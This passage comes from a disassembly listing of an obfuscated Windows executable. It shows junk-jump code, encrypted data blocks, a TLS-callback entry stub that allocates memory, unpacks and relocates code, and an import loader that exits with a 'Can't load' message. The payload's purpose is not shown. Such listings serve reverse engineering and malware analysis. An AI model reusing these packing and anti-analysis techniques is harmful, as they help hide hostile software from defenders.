BYTES ; FUNCTION CHUNK AT 00780696 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007808D5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780C23 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00780D26 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00780DD7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781058 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007810AF SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007811B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0078144A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781474 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00781770 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 007817FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00781829 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00781860 SIZE 00000005 BYTES xchg ecx, [esp+4+var_4] pop ecx push eax mov eax, ebx jmp loc_781755 ; --------------------------------------------------------------------------- align 4 dd 5B241C87h, 0F271E958h, 0FFFFh, 0FFFBD8E8h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_7815E7: ; CODE XREF: sub_780D80+5j jmp loc_7810AF ; --------------------------------------------------------------------------- loc_7815EC: ; CODE XREF: sub_780D9D-CD6j jmp loc_780C23 ; --------------------------------------------------------------------------- loc_7815F1: ; CODE XREF: _0xtwbvzc:0077FBD2j xchg esi, [esp+4+var_4] pop esi push ebp adc ebp, 3BA275F1h jmp loc_77F825 ; --------------------------------------------------------------------------- align 2 dw 8153h dd 0BF0BF4E7h, 0D6CE8121h, 52034E47h, 0E804C083h, 0FFFFE78Ch dd 0C300h, 4F17FD81h, 56E9E1D2h, 0FFFFE6h, 81F20B00h, 1A9BC2FEh dd 2C7E9DAh, 0 dd 7E46C3F7h, 0FFE9B63Dh, 0FFFFDDh, 68FF6A00h, 7811A7h dd 0FFE072E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_781652: ; CODE XREF: _0xtwbvzc:0078184Bj call loc_7818BE push offset byte_781929 jmp nullsub_318 ; --------------------------------------------------------------------------- loc_781661: ; CODE XREF: _0xtwbvzc:0077F3F2j test eax, 3AF125ADh jmp loc_7800EF ; --------------------------------------------------------------------------- dd 0C1510000h, 0F6E904EAh, 0FFFFFDh ; --------------------------------------------------------------------------- loc_781678: ; CODE XREF: _0xtwbvzc:0077FED7j mov byte ptr [ebx], 0C3h pop ebx mov ebp, eax pop eax locret_78167F: ; DATA XREF: _0xtwbvzc:0077FED2o retn ; --------------------------------------------------------------------------- dd 0AAE80000h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_781687: ; CODE XREF: _0xtwbvzc:0077FA6Cj jmp near ptr dword_77F9B4+19h ; --------------------------------------------------------------------------- dd 8BE90000h, 0FFFFEAh ; --------------------------------------------------------------------------- loc_781694: ; CODE XREF: _0xtwbvzc:00780F6Fj push offset byte_780F75 jmp near ptr dword_77F318+0BBh ; --------------------------------------------------------------------------- align 10h dd 0E8008A9Dh, 0FFFFFA5Eh ; --------------------------------------------------------------------------- loc_7816A8: ; CODE XREF: _0xtwbvzc:loc_780004j xor edx, 38A2F795h jns loc_780696 xor ebx, 2169A9B4h rol eax, 2 jmp loc_7817FC ; --------------------------------------------------------------------------- align 4 dd 0E9243C87h, 0FFFFFFB6h, 0DF945A68h, 242C878Ah, 0E1E95855h dd 0FFFFF6h, 0FEE99900h, 0FFFFF4h, 0D496851h, 0CDE90078h dd 0FFFFE6h ; --------------------------------------------------------------------------- loc_7816F0: ; CODE XREF: _0xtwbvzc:loc_7806F8j xor edx, 48C61FBCh call sub_78020A ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- locret_7816FD: ; CODE XREF: _0xtwbvzc:loc_77F622j retn ; --------------------------------------------------------------------------- dw 0AEE9h dd 0FFFFF5h, 0C300h ; --------------------------------------------------------------------------- loc_781708: ; CODE XREF: sub_7815C7-1D86j ; sub_7817BC:loc_780EACp xchg ebx, [esp-4+arg_0] pop ebx push ebx push 0A84B2915h pop ebx sub ebx, 0CB6721A1h jmp loc_781770 ; --------------------------------------------------------------------------- dw 5100h ; --------------------------------------------------------------------------- mov ecx, offset loc_7817C6 jmp loc_781829 ; --------------------------------------------------------------------------- test ecx, 1F7FA5F8h jmp loc_77F784 ; --------------------------------------------------------------------------- align 2 locret_781736: ; CODE XREF: sub_781187-16F1j ; _0xtwbvzc:00780436j retn ; --------------------------------------------------------------------------- align 4 jmp loc_78173E ; --------------------------------------------------------------------------- align 2 loc_78173E: ; CODE XREF: sub_7815C7+171j add edx, 67E32B54h add edx, ebp add edx, 0A48330B1h mov edx, [edx] jmp near ptr dword_780BE0+1Eh ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_781755: ; CODE XREF: sub_7815C7+7j xchg eax, [esp+4+var_4] mov ebx, offset loc_7800C2 jmp loc_780D26 sub_7815C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_781764: ; CODE XREF: _0xtwbvzc:loc_78100Bj lea eax, dword_77FFA0 call sub_781374 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_781770: ; CODE XREF: sub_7815C7+152j add ebx, 0F00BBA4Ah xor ebx, 33103E41h xchg ebx, [esp+0] call ds:dword_7580C0 ; ExitProcess call sub_781250 loc_78178A: ; CODE XREF: _0xtwbvzc:007812CAj jmp loc_77F9AA ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 10h dd 52685700h, 5F4A5291h, 1F8EEF81h, 0C781DF3Dh, 9418F693h dd 97A8F781h, 0CEE900D1h, 0FFFFE3h, 9C0F8900h, 0FFDAACE9h dd 13EEC1FFh ; =============== S U B R O U T I N E ======================================= sub_7817BC proc near ; CODE XREF: sub_7815C7-1B6Bp ; FUNCTION CHUNK AT 00780345 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780661 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00780EAC SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add eax, 4AA46CBh loc_7817C6: ; DATA XREF: sub_7815C7+159o aam 0 sub eax, edx jz loc_780345 jmp loc_780661 sub_7817BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 81h, 0C0h, 3Ch ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 81h, 9, 0ABh db 0C0h byte_7817DD db 8Dh, 84h, 0D0h ; DATA XREF: _0xtwbvzc:0077FA67o dd 57FFFFFDh, 1E86BC68h, 0DFC3E991h, 0FFFFh, 26ABD781h dd 0AEE9C983h, 0FFFFF7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_7817FC: ; CODE XREF: sub_7815C7+F6j jo loc_77FB27 jmp loc_780696 ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 4 dd 24348700h, 0AFC6815Eh, 872393F5h, 92E92434h, 68FFFFFDh dd 78E0F129h, 0F31CE958h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_302. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_781829: ; CODE XREF: sub_7815C7+15Ej jmp near ptr dword_77F9B4+9Eh ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- align 10h loc_781830: ; CODE XREF: _0xtwbvzc:0077F680j mov ebp, esp push ecx mov eax, ds:dword_7801F2 push offset loc_780D35 jmp locret_7815C0 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_781845: ; CODE XREF: _0xtwbvzc:007807EDj push edx mov edx, offset loc_781117 jmp loc_781652 ; --------------------------------------------------------------------------- dd 47C28100h, 0C1527454h, 0C28109C2h, 0F7C5FB29h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7815C7 loc_781860: ; CODE XREF: sub_7815C7-1D92j jmp loc_77FB0F ; END OF FUNCTION CHUNK FOR sub_7815C7 ; --------------------------------------------------------------------------- not eax jmp loc_77F2EC ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_78186E proc near ; CODE XREF: sub_7815C7:loc_78144Aj ; FUNCTION CHUNK AT 007807F4 SIZE 0000000A BYTES push ebx mov ebx, offset loc_7807FA jmp loc_7807F4 sub_78186E endp ; --------------------------------------------------------------------------- db 8Bh, 0C1h, 87h dd 0CD8B2404h, 0BB1B951h, 68E90078h, 0FFFFF5h db 0 ; --------------------------------------------------------------------------- loc_78188D: ; CODE XREF: _0xtwbvzc:loc_780E91j push offset loc_7815AE jmp near ptr loc_7806A7+1 ; --------------------------------------------------------------------------- align 4 dd 77FC4C68h, 0FC25E900h, 0FFFFh dword_7818A4 dd 0C3CB7A68h, 0EA815AFCh, 0BFE8044Dh, 0D1736850h, 2E9715Eh ; DATA XREF: _0xtwbvzc:0077F902o dd 0FFFFDEh ; --------------------------------------------------------------------------- or ebx, edi loc_7818BE: ; CODE XREF: sub_7815C7:loc_781652p xchg ebx, [esp] call near ptr dword_780234+37h ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- jmp locret_780DB0 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 21CF5FE1h, 0DE55E9EEh, 0FFFFh ; --------------------------------------------------------------------------- loc_7818DC: ; DATA XREF: sub_7817BC:loc_780345o lea eax, nullsub_20 push 77F3DAh jmp loc_77F5F4 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_7818EE: ; CODE XREF: _0xtwbvzc:0078075Dj mov byte ptr [edx], 0Fh pop edx pop ebp push 77F716h jmp locret_781023 ; --------------------------------------------------------------------------- db 0Fh, 82h, 0Dh dd 87FFFFFDh, 53582404h, 0DE9DF8Bh, 0FFFFE9h ; =============== S U B R O U T I N E ======================================= sub_781910 proc near ; CODE XREF: _0xtwbvzc:007800F9p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0077FCB8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007804D5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00780C2C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00780E2B SIZE 00000018 BYTES xchg eax, [esp+0] pop eax lea eax, dword_77FFA0 push edi push 444FEA5Dh jmp loc_780E2B sub_781910 endp ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_318. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 byte_781929 db 0C6h, 0, 87h ; DATA XREF: sub_7815C7+90o dd 24148758h, 0C15ADA8Bh, 0A0E91AC3h, 0FFFFE8h, 0F18B5600h dd 8B243487h, 12D368CEh, 82E90078h, 8BFFFFF9h, 77F2D035h dd 785A6800h, 5059838Ch, 77F6AFB8h, 0EA28E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_781967: ; CODE XREF: _0xtwbvzc:0077F51Dj xchg edx, [esp] pop edx xchg edi, [esp] mov eax, offset loc_7806B7 jmp loc_77FC90 ; --------------------------------------------------------------------------- dd 0DCF08100h, 8141D86Ah, 7320F8C8h, 0DFF081DDh, 33A86FBh dd 0F3C1E9C5h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_309. PRESS KEYPAD "+" TO EXPAND] align 4 dd 0DBE85B00h, 0FFFFDCh dword_78199C dd 1AF96857h, 815FA8F3h, 545E24C7h, 0CE8B5147h, 0BE240C87h ; DATA XREF: _0xtwbvzc:loc_77F8B2o dd 7816C4h, 0FFEE7DE9h, 15CBC1FFh, 69E9E1D1h, 0FFFFF2h dd 0FC45850Fh, 4CE9FFFFh, 0FFFFF2h db 0 byte_7819D1 db 81h, 0C0h, 9Eh ; DATA XREF: sub_77FF2E+11B3o dd 8B71B8DAh, 0F8A4E800h, 0FFFFh ; --------------------------------------------------------------------------- loc_7819E0: ; CODE XREF: _0xtwbvzc:007809ABj jmp locret_780DB9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_7819E5 proc near ; CODE XREF: sub_7814D3+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00781B3C SIZE 0000000B BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h push esi push edi push ebx mov esi, offset dword_744000 mov eax, 400000h mov [ebp+var_4], eax mov edx, eax loc_7819FD: ; CODE XREF: sub_7819E5+15Dj mov eax, [esi+0Ch] or eax, eax jz loc_781A96 add eax, edx mov ebx, eax push eax call ds:dword_7580B4 ; GetModuleHandleA or eax, eax jnz loc_781A2A push ebx call ds:dword_7580B8 ; LoadLibraryA or eax, eax jz loc_781A8E loc_781A2A: ; CODE XREF: sub_7819E5+30j mov [ebp+var_8], eax push 0 pop [ebp+var_C] loc_781A32: ; CODE XREF: sub_7819E5+A2j mov eax, [esi] or eax, eax mov edx, [ebp+var_4] jnz loc_781A42 mov eax, [esi+10h] loc_781A42: ; CODE XREF: sub_7819E5+54j add eax, edx add eax, [ebp+var_C] mov ebx, [eax] mov edi, [esi+10h] add edi, edx add edi, [ebp+var_C] or ebx, ebx jz loc_781B3C test ebx, 80000000h jnz loc_781A69 lea ebx, [ebx+edx+2] loc_781A69: ; CODE XREF: sub_7819E5+7Aj and ebx, 7FFFFFFFh push ebx push [ebp+var_8] call ds:dword_7580BC ; GetProcAddress or eax, eax jz loc_781A8E mov [edi], eax add [ebp+var_C], 4 jmp loc_781A32 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_781A8E: ; CODE XREF: sub_7819E5+3Fj ; sub_7819E5+96j push ebx mov eax, ebx call sub_781A9E loc_781A96: ; CODE XREF: sub_7819E5+1Dj pop ebx pop edi pop esi mov esp, ebp pop ebp retn sub_7819E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_781A9E proc near ; CODE XREF: sub_7819E5+ACp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h push ebp mov ebp, esp add esp, 0FFFFFEF8h mov [ebp+var_104], eax mov [ebp+var_100], 276E6143h mov [ebp+var_FC], 6F6C2074h mov [ebp+var_F8], 206461h mov [ebp+var_108], 0Bh loc_781AD5: ; CODE XREF: sub_781A9E+98j mov eax, [ebp+var_104] cmp byte ptr [eax], 0 jnz loc_781B15 mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 push 2010h push 0 lea eax, [ebp+var_100] push eax push 0 call dword ptr ds:358104h push 0FFFFFFFFh call ds:dword_7580C0 ; ExitProcess mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_781B15: ; CODE XREF: sub_781A9E+40j mov eax, [ebp+var_108] mov edx, [ebp+var_104] mov dl, [edx] mov byte ptr [ebp+eax+var_100], dl inc [ebp+var_108] inc [ebp+var_104] jmp loc_781AD5 sub_781A9E endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_7819E5 loc_781B3C: ; CODE XREF: sub_7819E5+6Ej add esi, 14h mov edx, [ebp+var_4] jmp loc_7819FD ; END OF FUNCTION CHUNK FOR sub_7819E5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_781B4A proc near ; CODE XREF: startp TlsCallback_0p mov eax, offset sub_77F25A locret_781B4F: ; DATA XREF: _0xtwbvzc:00781B58o retn sub_781B4A endp ; --------------------------------------------------------------------------- push ebx push ecx push esi push edi push eax mov ebx, [esp] sub ebx, offset locret_781B4F mov eax, 206Eh push eax push 4 push 1000h push eax push 0 mov eax, offset dword_7580C4 mov eax, [eax+ebx] call eax pop ecx mov edx, offset sub_77F25A add edx, ebx push edx push ebx push eax mov edi, eax mov esi, edx cld rep movsb mov ecx, offset sub_77F0D6 add ecx, ebx call ecx pop eax mov ebx, [esp] push 8000h push 0 push eax mov eax, 7580C8h mov eax, [eax+ebx] call eax pop ecx pop eax pop ebx sub ebx, 5 mov byte ptr [ebx], 0B8h inc ebx mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 0C3h or ecx, ecx jz short loc_781C05 mov ebx, eax call loc_781C66 cld lodsd cmp eax, 0FFFFFFFFh jz short loc_781C05 push ebx mov ebx, ecx loc_781BD0: ; CODE XREF: _0xtwbvzc:00781BE1j ; _0xtwbvzc:00781BF4j ... add ebx, eax add [ebx], ecx add ebx, 4 lodsb cmp al, 0FEh jnb short loc_781BE3 and eax, 0FFh jmp short loc_781BD0 ; --------------------------------------------------------------------------- loc_781BE3: ; CODE XREF: _0xtwbvzc:00781BDAj add ebx, 0FEh or eax, eax jp short loc_781BF6 lodsw and eax, 0FFFFh jmp short loc_781BD0 ; --------------------------------------------------------------------------- loc_781BF6: ; CODE XREF: _0xtwbvzc:00781BEBj lodsd dec esi and eax, 0FFFFFFh cmp eax, 0FFFFFFh jnz short loc_781BD0 pop eax loc_781C05: ; CODE XREF: _0xtwbvzc:00781BBDj ; _0xtwbvzc:00781BCBj pop edi pop esi pop ecx pop ebx retn ; --------------------------------------------------------------------------- dw 3E65h dd 0B084AB57h, 0C506B951h, 0AE3724B7h, 0E36D3F1Ah, 1993C10Bh dd 407F907Dh, 3C203F71h, 59A021B9h, 401A9E07h, 9687BC7Eh dd 0EA1DF8EDh, 8A7A5CCFh, 0E262C69Ah, 0E7DFE057h, 0E84FD18Dh dd 0E7A691AAh db 0F0h, 0C4h ; =============== S U B R O U T I N E ======================================= public start start proc near call sub_781B4A add eax, 0D46h jmp eax start endp ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: _0xtwbvzc:TlsCallbackso call sub_781B4A add eax, 0F98h jmp eax TlsCallback_0 endp ; --------------------------------------------------------------------------- loc_781C66: ; CODE XREF: _0xtwbvzc:00781BC1p call sub_781C6F ; --------------------------------------------------------------------------- db 0FFh db 3 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_781C6F proc near ; CODE XREF: _0xtwbvzc:loc_781C66p pop esi retn sub_781C6F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 pop edi sub ebp, [edi-34h] aam 0E7h or ebp, [edi-55h] retf 0E8A6h ; --------------------------------------------------------------------------- dw 100Bh dd 8C770F30h, 9CAC5F25h, 0D5460C1h, 0FE7B74F5h, 0FC2081FFh dd 85465031h, 387D1ABAh, 3ED24924h, 2CB456D7h, 0C3242D71h dd 7AE1C477h, 971D5463h, 0BC4F5D54h, 4BD1CB6Ah, 8EDBE8DBh dd 81A41214h, 0D1B48D55h, 870C2C0Ch, 0F54D5132h, 7DDE62A1h dd 0D410724Bh, 0BDD3CD21h, 0B90D911Eh, 5C3FD50Fh, 4F57D168h dd 0F2A42001h, 0EA5E3110h, 36EF399Eh, 0F87DCCDCh, 340BB51Ch dd 59A70582h, 0F59BB7F8h, 0F24AAAB7h, 5C3B5F4Fh, 0D769A6B1h dd 662B8E46h, 863E6B10h, 0FEF64138h, 0E7996A56h, 0DECC22BAh dd 7E87FAECh, 8DC92F96h, 153E9B06h, 0DB930803h, 6685B84Ch dd 0E67E8B08h, 0C4B9AE92h, 5C4BB244h, 5FA2047Bh, 1FB88C1Fh dd 0A800DE1Eh, 8FB5610Fh, 5BD1A936h, 7DCB80A2h, 49F4189h dd 0B41A131Dh, 7432CA9Fh, 0DDD41020h, 7EB26839h, 0D89B4B11h dd 0D6453FB1h, 0BB9FA2Ah, 121421CDh, 2E295289h, 3A479CE2h dd 56B3EC2Ah, 0FD21EDECh, 0A4DF8C35h, 12B9CF3Dh, 92C9319Ch dd 3E041714h, 0FD4D8B57h, 0DB95B5E7h, 11E29445h, 252A2C3Dh dd 11424446h, 3231BA03h, 2A328539h, 4810DBA4h, 0BFBD8E38h dd 0FB8D1797h, 3FEF4385h, 4AF6A0C7h, 4628CD11h, 0C92A4217h dd 0D051EE5Bh, 6B0CE79Ch, 8160B15Bh, 55A4622Bh, 0A89C0C35h dd 1A68FBFDh, 76F8FE7Dh, 0CA08FD00h, 8D5DE39Ah, 2AC3F022h dd 2926F5A6h, 80h dup(0) _0xtwbvzc ends ; Section 7. (virtual address 00382000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00382000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 782000h dd 4Eh dup(0) db 2 dup(0) word_78213A dw 0 ; DATA XREF: .data:00421AB0o dd 31h dup(0) dd 8Eh dup(?) db 2 dup(?) word_78243A dw ? ; DATA XREF: .data:00421AC8o dd 3Fh dup(?) db 2 dup(?) word_78253A dw ? ; DATA XREF: .data:00421AE0o dd 23Fh dup(?) db 2 dup(?) word_782E3A dw ? ; DATA XREF: .data:00421A98o align 200h _idata2 ends end start